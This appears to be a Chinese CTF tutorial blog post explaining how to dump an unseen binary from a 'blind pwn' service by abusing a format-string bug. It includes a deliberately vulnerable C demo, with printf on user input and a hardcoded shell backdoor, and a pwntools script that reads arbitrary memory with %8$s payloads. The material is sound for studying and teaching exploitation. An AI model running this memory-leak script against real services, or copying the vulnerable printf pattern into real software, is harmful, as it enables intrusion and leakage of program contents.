当前位置:   article > 正文

格式化字符串类盲pwn的dump方法

盲pwn

有一类题目,不会给任何文件,只给一个ip和端口,这种称为blind pwn(盲pwn),如果这类pwn存在格式化字符串漏洞的话,可以通过一些手法拿到整个二进制程序,这对我们的逆向分析和解题是十分重要的,举个例子:

在2022年的Insomni’hack teaser比赛上,有一道题CovidLe$s,就是一道盲pwn,输入什么就回显什么,但是存在格式化字符串漏洞,并且应该是栈上的,通过不断的尝试是可以大致猜测出栈结构的:
在这里插入图片描述
从偏移12开始是栈上的缓冲区,29那里是canary,31是返回地址,根据后三位可以猜到libc大版本

但是到这里也就结束了,无法继续推进了,此时就需要用到接下来将要介绍的方法,将整个程序dump下来才能继续分析

首先来看看dump下来的文件:
在这里插入图片描述

可以看到虽然不是很完整,但是大致的逻辑结构是能看到的,如果不dump下来的话,就不可能拿到这道题目的密钥,也就不可能做出来这道题,所以有些时候dump文件是必要的

dump的原理其实也很简单,其实就是利用格式化字符串的%n$p这类指令进行任意地址读

由于比赛已经结束,端口已经关闭,所以我们来自己写一个小demo:

#include<stdio.h>
#include<stdlib.h>
int main()
{
	setbuf(stdin, 0LL);
        setbuf(stdout, 0LL);
	setbuf(stderr, 0LL);
	char s[0x100];
	memset(s,0,0x100);
	while(1)
	{
		read(0,s,0x50);
		if(!strcmp(s,"Ayaka"))system("/bin/sh");
		printf(s);
	}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

如果这是一道真实的题,那么Ayaka这个字符串如果不去dump文件,我们是不会得到的。

一开始我们要手工做一些准备工作:
在这里插入图片描述

可以看到我们偏移为6

我们要dump的东西是程序的text段,其起始位置在_start,所以我们要先把_start的地址确定下来

这里要利用一个特点,就是_start函数地址会在栈中出现多次,所以要先打印一部分栈空间,然后找到明显属于程序text段并且出现多次的地址,一般来说就是_start的地址

在这里插入图片描述
这里能看到0x400630明显是text段的地址,并且在42和57位置都出现了,所以这里应该就是_start()

接下来就是dump,在dump的时候可以直接用%s,因为%s是\x00截断,所以只要出现截断,直接当做是\x00,然后把地址+1即可

至于dump到哪里停止,可以把连续八字节的\x00当做结束标志

这个demo没有开pie,所以直接从0x400000开始dump就行

在这里插入图片描述

我这里顺带把0x600000那里也dump了一下,这个demo程序的结构比较简单,可以看到结果基本除了符号表之外都有,可以很清楚的看到程序结构

如果需要dump其他复杂一些的程序,可以只dump前面的,甚至只dump text段,都是可以解析出函数的,只不过可读性会差一些。

dump脚本如下:

from re import L
from pwn import *
from ctypes import *
from Ayaka import *
import base64
from Crypto.Util.number import *
#context.log_level = 'debug'
context.arch='amd64'
io = process('./test')
#io = remote('52.59.124.14',10200)
#libc = ELF('./libc-2.31.so')
#elf=ELF("./pwn")
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
start=0x400630
base=0x400000
data=0x600000
size=0x1000
TEXT=''
while True:
        if base>=0x401000 and base<data:
                TEXT+='\x00'
                base+=1
                continue
        io.sendline("LEAK---->%8$s|*|"+p64(base))
        ru("LEAK---->")
        s=io.recvuntil('|*|',drop=True)
        TEXT+=s
        base+=len(s)
        print(len(TEXT))
        if len(s)==0:
                TEXT+='\x00'
                base+=1
        if base>=0x601000:
                break
"""         if TEXT[-9:-1]=='\x00'*8  and base > start:
                break """
print("leak ",len(TEXT),"bytes successfully")
with open('dumpfile','wb') as f:
            f.write(TEXT)
#irt()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/260250
推荐阅读
相关标签
  

闽ICP备14008679号